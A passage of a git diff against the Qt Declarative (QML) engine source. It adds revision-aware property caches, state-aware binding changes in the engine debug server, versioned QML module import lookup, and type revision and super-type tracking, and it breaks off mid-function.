     if (!obj || QObjectPrivate::get(obj)->metaObject || QObjectPrivate::get(obj)->wasDeleted) 
         return 0;
 
     const QMetaObject *mo = obj->metaObject();
     QDeclarativePropertyCache *rv = propertyCache.value(mo);
-    if (!rv) {
-        rv = new QDeclarativePropertyCache(q, mo);
-        propertyCache.insert(mo, rv);
-    }
+    if (!rv) rv = createCache(mo);
     return rv;
 }
 
@@ -352,18 +354,32 @@ Returns a QDeclarativePropertyCache for \a metaObject.
 As the cache is persisted for the life of the engine, \a metaObject must be
 a static "compile time" meta-object, or a meta-object that is otherwise known to 
 exist for the lifetime of the QDeclarativeEngine.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
 */
 QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(const QMetaObject *metaObject)
 {
-    Q_Q(QDeclarativeEngine);
     Q_ASSERT(metaObject);
 
     QDeclarativePropertyCache *rv = propertyCache.value(metaObject);
-    if (!rv) {
-        rv = new QDeclarativePropertyCache(q, metaObject);
-        propertyCache.insert(metaObject, rv);
-    }
+    if (!rv) rv = createCache(metaObject);
+    return rv;
+}
+
+/*!
+Returns a QDeclarativePropertyCache for \a type with \a minorVersion.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
+*/
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QDeclarativeType *type, int minorVersion, QDeclarativeError &error)
+{
+    Q_ASSERT(type);
+
+    if (minorVersion == -1 || !type->containsRevisionedAttributes())
+        return cache(type->metaObject());
 
+    QDeclarativePropertyCache *rv = typePropertyCache.value(qMakePair(type, minorVersion));
+    if (!rv) rv = createCache(type, minorVersion, error);
     return rv;
 }
 
diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp
index 3dfd0f2..31fd516 100644
--- a/src/declarative/qml/qdeclarativeenginedebug.cpp
+++ b/src/declarative/qml/qdeclarativeenginedebug.cpp
@@ -52,6 +52,7 @@
 #include "private/qdeclarativevaluetype_p.h"
 #include "private/qdeclarativevmemetaobject_p.h"
 #include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativepropertychanges_p.h"
 
 #include <QtCore/qdebug.h>
 #include <QtCore/qmetaobject.h>
@@ -166,17 +167,19 @@ QDeclarativeEngineDebugServer::propertyData(QObject *obj, int propIdx)
 QVariant QDeclarativeEngineDebugServer::valueContents(const QVariant &value) const
 {
     int userType = value.userType();
-    if (QDeclarativeValueTypeFactory::isValueType(userType))
-        return value;
 
-    /*
-    if (QDeclarativeMetaType::isList(userType)) {
-        int count = QDeclarativeMetaType::listCount(value);
+    if (value.type() == QVariant::List) {
         QVariantList contents;
-        for (int i=0; i<count; i++)
-            contents << valueContents(QDeclarativeMetaType::listAt(value, i));
+        QVariantList list = value.toList();
+        int count = list.size();
+        for (int i = 0; i < count; i++)
+            contents << valueContents(list.at(i));
         return contents;
-    } else */
+    }
+
+    if (QDeclarativeValueTypeFactory::isValueType(userType))
+        return value;
+
     if (QDeclarativeMetaType::isQObject(userType)) {
         QObject *o = QDeclarativeMetaType::toQObject(value);
         if (o) {
@@ -195,11 +198,6 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message,
 {
     message << objectData(object);
 
-    // Some children aren't added to an object until particular properties are read
-    // - e.g. child state objects aren't added until the 'states' property is read -
-    // but this should only affect internal objects that aren't shown by the
-    // debugger anyway.
-
     QObjectList children = object->children();
     
     int childrenCount = children.count();
@@ -260,6 +258,18 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message,
         message << fakeProperties[ii];
 }
 
+void QDeclarativeEngineDebugServer::prepareDeferredObjects(QObject *obj)
+{
+    qmlExecuteDeferred(obj);
+
+    QObjectList children = obj->children();
+    for (int ii = 0; ii < children.count(); ++ii) {
+        QObject *child = children.at(ii);
+        prepareDeferredObjects(child);
+    }
+
+}
+
 void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDeclarativeContext *ctxt)
 {
     QDeclarativeContextData *p = QDeclarativeContextData::get(ctxt);
@@ -300,6 +310,35 @@ void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDecla
     }
 }
 
+void QDeclarativeEngineDebugServer::buildStatesList(QDeclarativeContext *ctxt, bool cleanList=false)
+{
+    if (cleanList)
+        m_allStates.clear();
+
+    QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(ctxt);
+    for (int ii = 0; ii < ctxtPriv->instances.count(); ++ii) {
+        buildStatesList(ctxtPriv->instances.at(ii));
+    }
+
+    QDeclarativeContextData *child = QDeclarativeContextData::get(ctxt)->childContexts;
+    while (child) {
+        buildStatesList(child->asQDeclarativeContext());
+        child = child->nextChild;
+    }
+}
+
+void QDeclarativeEngineDebugServer::buildStatesList(QObject *obj)
+{
+    if (QDeclarativeState *state = qobject_cast<QDeclarativeState *>(obj)) {
+            m_allStates.append(state);
+    }
+
+    QObjectList children = obj->children();
+    for (int ii = 0; ii < children.count(); ++ii) {
+        buildStatesList(children.at(ii));
+    }
+}
+
 QDeclarativeEngineDebugServer::QDeclarativeObjectData 
 QDeclarativeEngineDebugServer::objectData(QObject *object)
 {
@@ -378,8 +417,10 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message)
         QDataStream rs(&reply, QIODevice::WriteOnly);
         rs << QByteArray("LIST_OBJECTS_R") << queryId;
 
-        if (engine)
+        if (engine) {
             buildObjectList(rs, engine->rootContext());
+            buildStatesList(engine->rootContext(), true);
+        }
 
         sendMessage(reply);
     } else if (type == "FETCH_OBJECT") {
@@ -396,8 +437,11 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message)
         QDataStream rs(&reply, QIODevice::WriteOnly);
         rs << QByteArray("FETCH_OBJECT_R") << queryId;
 
-        if (object) 
+        if (object) {
+            if (recurse)
+                prepareDeferredObjects(object);
             buildObjectDump(rs, object, recurse, dumpProperties);
+        }
 
         sendMessage(reply);
     } else if (type == "WATCH_OBJECT") {
@@ -499,24 +543,63 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId,
     QDeclarativeContext *context = qmlContext(object);
 
     if (object && context) {
-
         QDeclarativeProperty property(object, propertyName, context);
-        if (isLiteralValue) {
-            property.write(expression);
-        } else if (hasValidSignal(object, propertyName)) {
-            QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString());
-            QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression);
-            declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber());
-        } else if (property.isProperty()) {
-            QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context);
-            binding->setTarget(property);
-            binding->setNotifyOnValueChanged(true);
-            QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding);
-            if (oldBinding)
-                oldBinding->destroy();
-            binding->update();
+        if (property.isValid()) {
+
+            bool inBaseState = true;
+
+            foreach(QWeakPointer<QDeclarativeState> statePointer, m_allStates) {
+                if (QDeclarativeState *state = statePointer.data()) {
+                    // here we assume that the revert list on itself defines the base state
+                    if (state->isStateActive() && state->containsPropertyInRevertList(object, propertyName)) {
+                        inBaseState = false;
+
+                        QDeclarativeBinding *newBinding = 0;
+                        if (!isLiteralValue) {
+                            newBinding = new QDeclarativeBinding(expression.toString(), object, context);
+                            newBinding->setTarget(property);
+                            newBinding->setNotifyOnValueChanged(true);
+                        }
+
+                        state->changeBindingInRevertList(object, propertyName, newBinding);
+
+                        if (isLiteralValue)
+                            state->changeValueInRevertList(object, propertyName, expression);
+                    }
+                }
+            }
+
+            if (inBaseState) {
+                if (isLiteralValue) {
+                    property.write(expression);
+                } else if (hasValidSignal(object, propertyName)) {
+                    QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString());
+                    QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression);
+                    declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber());
+                } else if (property.isProperty()) {
+                    QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context);
+                    binding->setTarget(property);
+                    binding->setNotifyOnValueChanged(true);
+                    QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding);
+                    if (oldBinding)
+                        oldBinding->destroy();
+                    binding->update();
+                } else {
+                    qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object;
+                }
+            }
+
         } else {
-            qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object;
+            // not a valid property
+            if (QDeclarativePropertyChanges *propertyChanges = qobject_cast<QDeclarativePropertyChanges *>(object)) {
+                if (isLiteralValue) {
+                    propertyChanges->changeValue(propertyName, expression);
+                } else {
+                    propertyChanges->changeExpression(propertyName, expression.toString());
+                }
+            } else {
+                qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object;
+            }
         }
     }
 }
@@ -534,11 +617,31 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr
                 QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, 0);
                 if (oldBinding)
                     oldBinding->destroy();
+            }
+            if (property.isResettable()) {
+                // Note: this will reset the property in any case, without regard to states
+                // Right now almost no QDeclarativeItem has reset methods for its properties (with the
+                // notable exception of QDeclarativeAnchors), so this is not a big issue
+                // later on, setBinding does take states into account
+                property.reset();
             } else {
-                if (property.isResettable()) {
-                    property.reset();
+                // overwrite with default value
+                if (QDeclarativeType *objType = QDeclarativeMetaType::qmlType(object->metaObject())) {
+                    if (QObject *emptyObject = objType->create()) {
+                        if (emptyObject->property(propertyName.toLatin1()).isValid()) {
+                            QVariant defaultValue = QDeclarativeProperty(emptyObject, propertyName).read();
+                            if (defaultValue.isValid()) {
+                                setBinding(objectId, propertyName, defaultValue, true);
+                            }
+                        }
+                        delete emptyObject;
+                    }
                 }
             }
+        } else {
+            if (QDeclarativePropertyChanges *propertyChanges = qobject_cast<QDeclarativePropertyChanges *>(object)) {
+                propertyChanges->removeProperty(propertyName);
+            }
         }
     }
 }
diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h
index 58eb046..e95676c 100644
--- a/src/declarative/qml/qdeclarativeenginedebug_p.h
+++ b/src/declarative/qml/qdeclarativeenginedebug_p.h
@@ -57,6 +57,7 @@
 
 #include <QtCore/qurl.h>
 #include <QtCore/qvariant.h>
+#include <QWeakPointer>
 
 QT_BEGIN_NAMESPACE
 
@@ -64,6 +65,7 @@ class QDeclarativeEngine;
 class QDeclarativeContext;
 class QDeclarativeWatcher;
 class QDataStream;
+class QDeclarativeState;
 
 class QDeclarativeEngineDebugServer : public QDeclarativeDebugService
 {
@@ -105,8 +107,11 @@ private Q_SLOTS:
     void propertyChanged(int id, int objectId, const QMetaProperty &property, const QVariant &value);
 
 private:
+    void prepareDeferredObjects(QObject *);
     void buildObjectList(QDataStream &, QDeclarativeContext *);
     void buildObjectDump(QDataStream &, QObject *, bool, bool);
+    void buildStatesList(QDeclarativeContext *, bool);
+    void buildStatesList(QObject *obj);
     QDeclarativeObjectData objectData(QObject *);
     QDeclarativeObjectProperty propertyData(QObject *, int);
     QVariant valueContents(const QVariant &defaultValue) const;
@@ -116,6 +121,7 @@ private:
 
     QList<QDeclarativeEngine *> m_engines;
     QDeclarativeWatcher *m_watch;
+    QList<QWeakPointer<QDeclarativeState> > m_allStates;
 };
 Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator<<(QDataStream &, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &);
 Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator>>(QDataStream &, QDeclarativeEngineDebugServer::QDeclarativeObjectData &);
diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp
index 26c91a5..7a85ada 100644
--- a/src/declarative/qml/qdeclarativeexpression.cpp
+++ b/src/declarative/qml/qdeclarativeexpression.cpp
@@ -103,6 +103,19 @@ void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QS
     expressionFunctionValid = false;
 }
 
+void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QScriptValue &func,
+                                         QObject *me)
+{
+    expression = func.toString();
+
+    QDeclarativeAbstractExpression::setContext(ctxt);
+    scopeObject = me;
+
+    expressionFunction = func;
+    expressionFunctionMode = ExplicitContext;
+    expressionFunctionValid = true;
+}
+
 void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, void *expr, 
                                          QDeclarativeRefCount *rc, 
                                          QObject *me, const QString &srcUrl, int lineNumber)
@@ -304,6 +317,19 @@ QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QO
     d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
 }
 
+/*!  \internal */
+QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QObject *scope, const QScriptValue &func,
+                       QDeclarativeExpressionPrivate &dd)
+: QObject(dd, 0)
+{
+    Q_D(QDeclarativeExpression);
+    d->init(ctxt, func, scope);
+
+    if (QDeclarativeExpression_notifyIdx == -1)
+        QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+    d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
 /*!
     Destroy the QDeclarativeExpression instance.
 */
@@ -412,6 +438,16 @@ void QDeclarativeQtScriptExpression::setNotifyObject(QObject *object, int notify
     }
 }
 
+void QDeclarativeQtScriptExpression::setEvaluateFlags(EvaluateFlags flags)
+{
+    evalFlags = flags;
+}
+
+QDeclarativeQtScriptExpression::EvaluateFlags QDeclarativeQtScriptExpression::evaluateFlags() const
+{
+    return evalFlags;
+}
+
 QScriptValue QDeclarativeQtScriptExpression::scriptValue(QObject *secondaryScope, bool *isUndefined)
 {
     Q_ASSERT(context() && context()->engine);
@@ -476,7 +512,10 @@ QScriptValue QDeclarativeQtScriptExpression::eval(QObject *secondaryScope, bool
         oldOverride = ep->contextClass->setOverrideObject(expressionContext, secondaryScope);
     }
 
-    QScriptValue svalue = expressionFunction.call(); // This could cause this to be deleted
+    QScriptValue thisObject;
+    if (evalFlags & RequiresThisObject)
+        thisObject = ep->objectClass->newQObject(scopeObject);
+    QScriptValue svalue = expressionFunction.call(thisObject); // This could cause this c++ object to be deleted
 
     if (isShared) {
         ep->sharedContext = oldSharedContext;
diff --git a/src/declarative/qml/qdeclarativeexpression.h b/src/declarative/qml/qdeclarativeexpression.h
index 72c5947..d40094b 100644
--- a/src/declarative/qml/qdeclarativeexpression.h
+++ b/src/declarative/qml/qdeclarativeexpression.h
@@ -59,6 +59,7 @@ class QDeclarativeEngine;
 class QDeclarativeContext;
 class QDeclarativeExpressionPrivate;
 class QDeclarativeContextData;
+class QScriptValue;
 class Q_DECLARATIVE_EXPORT QDeclarativeExpression : public QObject
 {
     Q_OBJECT
@@ -94,6 +95,8 @@ Q_SIGNALS:
 protected:
     QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QString &,
                            QDeclarativeExpressionPrivate &dd);
+    QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QScriptValue &,
+                           QDeclarativeExpressionPrivate &dd);
     QDeclarativeExpression(QDeclarativeContextData *, void *, QDeclarativeRefCount *rc, 
                            QObject *me, const QString &, int, QDeclarativeExpressionPrivate &dd);
 
diff --git a/src/declarative/qml/qdeclarativeexpression_p.h b/src/declarative/qml/qdeclarativeexpression_p.h
index 1d25609..51cae0f 100644
--- a/src/declarative/qml/qdeclarativeexpression_p.h
+++ b/src/declarative/qml/qdeclarativeexpression_p.h
@@ -113,6 +113,9 @@ class QDeclarativeQtScriptExpression : public QDeclarativeAbstractExpression,
 public:
     enum Mode { SharedContext, ExplicitContext };
 
+    enum EvaluateFlag { RequiresThisObject = 0x01 };
+    Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
+
     QDeclarativeQtScriptExpression();
     virtual ~QDeclarativeQtScriptExpression();
 
@@ -131,6 +134,9 @@ public:
     void resetNotifyOnChange();
     void setNotifyObject(QObject *, int );
 
+    void setEvaluateFlags(EvaluateFlags flags);
+    EvaluateFlags evaluateFlags() const;
+
     QScriptValue scriptValue(QObject *secondaryScope, bool *isUndefined);
 
     class DeleteWatcher {
@@ -157,8 +163,13 @@ private:
     QObject *guardObject;
     int guardObjectNotifyIndex;
     bool *deleted;
+
+    EvaluateFlags evalFlags;
 };
 
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeQtScriptExpression::EvaluateFlags)
+
+
 class QDeclarativeExpression;
 class QString;
 class QDeclarativeExpressionPrivate : public QObjectPrivate, public QDeclarativeQtScriptExpression
@@ -169,6 +180,7 @@ public:
     ~QDeclarativeExpressionPrivate();
 
     void init(QDeclarativeContextData *, const QString &, QObject *);
+    void init(QDeclarativeContextData *, const QScriptValue &, QObject *);
     void init(QDeclarativeContextData *, void *, QDeclarativeRefCount *, QObject *, const QString &, int);
 
     QVariant value(QObject *secondaryScope = 0, bool *isUndefined = 0);
diff --git a/src/declarative/qml/qdeclarativeimageprovider.cpp b/src/declarative/qml/qdeclarativeimageprovider.cpp
index 560077f..f111c20 100644
--- a/src/declarative/qml/qdeclarativeimageprovider.cpp
+++ b/src/declarative/qml/qdeclarativeimageprovider.cpp
@@ -75,6 +75,16 @@ public:
     invokes the appropriate image provider according to the providers that have
     been registered through QDeclarativeEngine::addImageProvider().
 
+    Note that the identifiers are case-insensitive, but the rest of the URL will be passed on with
+    preserved case. For example, the below snippet would still specify that the image is loaded by the
+    image provider named "myimageprovider", but it would request a different image than the above snippet
+    ("Image.png" instead of "image.png").
+    \qml
+    Image { source: "image://MyImageProvider/Image.png" }
+    \endqml
+
+    If you want the rest of the URL to be case insensitive, you will have to take care
+    of that yourself inside your image provider.
 
     \section2 An example
 
diff --git a/src/declarative/qml/qdeclarativeimport.cpp b/src/declarative/qml/qdeclarativeimport.cpp
index c89666d..7a1234d 100644
--- a/src/declarative/qml/qdeclarativeimport.cpp
+++ b/src/declarative/qml/qdeclarativeimport.cpp
@@ -425,8 +425,18 @@ QString QDeclarativeImportsPrivate::resolvedUri(const QString &dir_arg, QDeclara
             break;
         }
     }
+
+    stableRelativePath.replace(QLatin1Char('\\'), QLatin1Char('/'));
+
+    // remove optional versioning in dot notation from uri
+    int lastSlash = stableRelativePath.lastIndexOf(QLatin1Char('/'));
+    if (lastSlash >= 0) {
+        int versionDot = stableRelativePath.indexOf(QLatin1Char('.'), lastSlash);
+        if (versionDot >= 0)
+            stableRelativePath = stableRelativePath.left(versionDot);
+    }
+
     stableRelativePath.replace(QLatin1Char('/'), QLatin1Char('.'));
-    stableRelativePath.replace(QLatin1Char('\\'), QLatin1Char('.'));
     return stableRelativePath;
 }
 
@@ -447,42 +457,85 @@ bool QDeclarativeImportsPrivate::add(const QDeclarativeDirComponents &qmldircomp
     }
 
     QString url = uri;
+    bool versionFound = false;
     if (importType == QDeclarativeScriptParser::Import::Library) {
         url.replace(QLatin1Char('.'), QLatin1Char('/'));
         bool found = false;
         QString dir;
 
 
-        foreach (const QString &p, database->fileImportPath) {
-            dir = p+QLatin1Char('/')+url;
+        // step 1: search for extension with fully encoded version number
+        if (vmaj >= 0 && vmin >= 0) {
+            foreach (const QString &p, database->fileImportPath) {
+                dir = p+QLatin1Char('/')+url;
 
-            QFileInfo fi(dir+QLatin1String("/qmldir"));
-            const QString absoluteFilePath = fi.absoluteFilePath();
+                QFileInfo fi(dir+QString(QLatin1String(".%1.%2")).arg(vmaj).arg(vmin)+QLatin1String("/qmldir"));
+                const QString absoluteFilePath = fi.absoluteFilePath();
 
-            if (fi.isFile()) {
-                found = true;
+                if (fi.isFile()) {
+                    found = true;
 
-                url = QUrl::fromLocalFile(fi.absolutePath()).toString();
-                uri = resolvedUri(dir, database);
-                if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
-                    return false;
-                break;
+                    url = QUrl::fromLocalFile(fi.absolutePath()).toString();
+                    uri = resolvedUri(dir, database);
+                    if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+                        return false;
+                    break;
+                }
             }
         }
+        // step 2: search for extension with encoded version major
+        if (vmaj >= 0 && vmin >= 0) {
+            foreach (const QString &p, database->fileImportPath) {
+                dir = p+QLatin1Char('/')+url;
+
+                QFileInfo fi(dir+QString(QLatin1String(".%1")).arg(vmaj)+QLatin1String("/qmldir"));
+                const QString absoluteFilePath = fi.absoluteFilePath();
 
+                if (fi.isFile()) {
+                    found = true;
+
+                    url = QUrl::fromLocalFile(fi.absolutePath()).toString();
+                    uri = resolvedUri(dir, database);
+                    if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+                        return false;
+                    break;
+                }
+            }
+        }
         if (!found) {
-            found = QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin);
-            if (!found) {
-                if (errorString) {
-                    bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), -1, -1);
-                    if (anyversion)
-                        *errorString = QDeclarativeImportDatabase::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin);
-                    else
-                        *errorString = QDeclarativeImportDatabase::tr("module \"%1\" is not installed").arg(uri_arg);
+            // step 3: search for extension without version number
+
+            foreach (const QString &p, database->fileImportPath) {
+                dir = p+QLatin1Char('/')+url;
+
+                QFileInfo fi(dir+QLatin1String("/qmldir"));
+                const QString absoluteFilePath = fi.absoluteFilePath();
+
+                if (fi.isFile()) {
+                    found = true;
+
+                    url = QUrl::fromLocalFile(fi.absolutePath()).toString();
+                    uri = resolvedUri(dir, database);
+                    if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+                        return false;
+                    break;
                 }
-                return false;
             }
         }
+
+        if (QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin))
+            versionFound = true;
+
+        if (!versionFound && qmldircomponents.isEmpty()) {
+            if (errorString) {
+                bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), -1, -1);
+                if (anyversion)
+                    *errorString = QDeclarativeImportDatabase::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin);
+                else
+                    *errorString = QDeclarativeImportDatabase::tr("module \"%1\" is not installed").arg(uri_arg);
+            }
+            return false;
+        }
     } else {
 
         if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) {
@@ -526,7 +579,7 @@ bool QDeclarativeImportsPrivate::add(const QDeclarativeDirComponents &qmldircomp
             url.chop(1);
     }
 
-    if (vmaj > -1 && vmin > -1 && !qmldircomponents.isEmpty()) {
+    if (!versionFound && vmaj > -1 && vmin > -1 && !qmldircomponents.isEmpty()) {
         QList<QDeclarativeDirParser::Component>::ConstIterator it = qmldircomponents.begin();
         int lowest_maj = INT_MAX;
         int lowest_min = INT_MAX;
@@ -660,6 +713,7 @@ bool QDeclarativeImportedNamespace::find(const QByteArray& type, int *vmajor, in
 /*!
 \class QDeclarativeImportDatabase
 \brief The QDeclarativeImportDatabase class manages the QML imports for a QDeclarativeEngine.
+\internal
 */
 QDeclarativeImportDatabase::QDeclarativeImportDatabase(QDeclarativeEngine *e)
 : engine(e)
@@ -874,23 +928,33 @@ QString QDeclarativeImportDatabase::resolvePlugin(const QDir &qmldirPath, const
 #endif
 }
 
+/*!
+    \internal
+*/
 QStringList QDeclarativeImportDatabase::pluginPathList() const
 {
     return filePluginPath;
 }
 
+/*!
+    \internal
+*/
 void QDeclarativeImportDatabase::setPluginPathList(const QStringList &paths)
 {
     filePluginPath = paths;
 }
 
+/*!
+    \internal
+*/
 void QDeclarativeImportDatabase::addPluginPath(const QString& path)
 {
     if (qmlImportTrace())
         qDebug().nospace() << "QDeclarativeImportDatabase::addPluginPath: " << path;
 
     QUrl url = QUrl(path);
-    if (url.isRelative() || url.scheme() == QLatin1String("file")) {
+    if (url.isRelative() || url.scheme() == QLatin1String("file")
+            || (url.scheme().length() == 1 && QFile::exists(path)) ) {  // windows path
         QDir dir = QDir(path);
         filePluginPath.prepend(dir.canonicalPath());
     } else {
@@ -898,6 +962,9 @@ void QDeclarativeImportDatabase::addPluginPath(const QString& path)
     }
 }
 
+/*!
+    \internal
+*/
 void QDeclarativeImportDatabase::addImportPath(const QString& path)
 {
     if (qmlImportTrace())
@@ -909,7 +976,8 @@ void QDeclarativeImportDatabase::addImportPath(const QString& path)
     QUrl url = QUrl(path);
     QString cPath;
 
-    if (url.isRelative() || url.scheme() == QLatin1String("file")) {
+    if (url.isRelative() || url.scheme() == QLatin1String("file")
+            || (url.scheme().length() == 1 && QFile::exists(path)) ) {  // windows path
         QDir dir = QDir(path);
         cPath = dir.canonicalPath();
     } else {
@@ -922,17 +990,25 @@ void QDeclarativeImportDatabase::addImportPath(const QString& path)
         fileImportPath.prepend(cPath);
 }
 
+/*!
+    \internal
+*/
 QStringList QDeclarativeImportDatabase::importPathList() const
 {
     return fileImportPath;
 }
 
+/*!
+    \internal
+*/
 void QDeclarativeImportDatabase::setImportPathList(const QStringList &paths)
 {
     fileImportPath = paths;
 }
 
-
+/*!
+    \internal
+*/
 bool QDeclarativeImportDatabase::importPlugin(const QString &filePath, const QString &uri, QString *errorString)
 {
     if (qmlImportTrace())
diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h
index 59cce84..20be889 100644
--- a/src/declarative/qml/qdeclarativeinstruction_p.h
+++ b/src/declarative/qml/qdeclarativeinstruction_p.h
@@ -182,6 +182,7 @@ public:
     struct CreateSimpleInstruction {
         void (*create)(void *);
         int typeSize;
+        int type;
         ushort column;
     };
     struct StoreMetaInstruction {
diff --git a/src/declarative/qml/qdeclarativelist.cpp b/src/declarative/qml/qdeclarativelist.cpp
index 9598d98..346fee5 100644
--- a/src/declarative/qml/qdeclarativelist.cpp
+++ b/src/declarative/qml/qdeclarativelist.cpp
@@ -88,6 +88,7 @@ void QDeclarativeListReferencePrivate::release()
 /*!
 \class QDeclarativeListReference
 \since 4.7
+\module QtDeclarative
 \brief The QDeclarativeListReference class allows the manipulation of QDeclarativeListProperty properties.
 
 QDeclarativeListReference allows C++ programs to read from, and assign values to a QML list property in a
diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp
index 27fb2c7..bf1f699 100644
--- a/src/declarative/qml/qdeclarativemetatype.cpp
+++ b/src/declarative/qml/qdeclarativemetatype.cpp
@@ -134,10 +134,14 @@ public:
 
     bool m_isInterface : 1;
     const char *m_iid;
+    QByteArray m_module;
     QByteArray m_name;
     int m_version_maj;
     int m_version_min;
     int m_typeId; int m_listId; 
+    int m_revision;
+    mutable bool m_containsRevisionedAttributes;
+    mutable QDeclarativeType *m_superType;
 
     int m_allocationSize;
     void (*m_newFunc)(void *);
@@ -155,6 +159,7 @@ public:
     int m_index;
     QDeclarativeCustomParser *m_customParser;
     mutable volatile bool m_isSetup:1;
+    mutable bool m_haveSuperType : 1;
     mutable QList<QDeclarativeProxyMetaObject::ProxyData> m_metaObjects;
 
     static QHash<const QMetaObject *, int> m_attachedPropertyIds;
@@ -163,10 +168,11 @@ public:
 QHash<const QMetaObject *, int> QDeclarativeTypePrivate::m_attachedPropertyIds;
 
 QDeclarativeTypePrivate::QDeclarativeTypePrivate()
-: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), 
-  m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), m_attachedPropertiesType(0),
-  m_parserStatusCast(-1), m_propertyValueSourceCast(-1), m_propertyValueInterceptorCast(-1),
-  m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false)
+: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_containsRevisionedAttributes(false),
+  m_superType(0), m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), 
+  m_attachedPropertiesType(0), m_parserStatusCast(-1), m_propertyValueSourceCast(-1), 
+  m_propertyValueInterceptorCast(-1), m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), 
+  m_isSetup(false), m_haveSuperType(false)
 {
 }
 
@@ -192,9 +198,12 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe
     if (type.uri) name += '/';
     name += type.elementName;
 
+    d->m_module = type.uri;
     d->m_name = name;
     d->m_version_maj = type.versionMajor;
     d->m_version_min = type.versionMinor;
+    if (type.version >= 1) // revisions added in version 1
+        d->m_revision = type.revision;
     d->m_typeId = type.typeId;
     d->m_listId = type.listId;
     d->m_allocationSize = type.objectSize;
@@ -228,6 +237,11 @@ QDeclarativeType::~QDeclarativeType()
     delete d;
 }
 
+QByteArray QDeclarativeType::module() const
+{
+    return d->m_module;
+}
+
 int QDeclarativeType::majorVersion() const
 {
     return d->m_version_maj;
@@ -243,6 +257,26 @@ bool QDeclarativeType::availableInVersion(int vmajor, int vminor) const
     return vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min);
 }
 
+bool QDeclarativeType::availableInVersion(const QByteArray &module, int vmajor, int vminor) const
+{
+    return module == d->m_module && (vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min));
+}
+
+// returns the nearest _registered_ super class
+QDeclarativeType *QDeclarativeType::superType() const
+{
+    if (!d->m_haveSuperType) {
+        const QMetaObject *mo = d->m_baseMetaObject->superClass();
+        while (mo && !d->m_superType) {
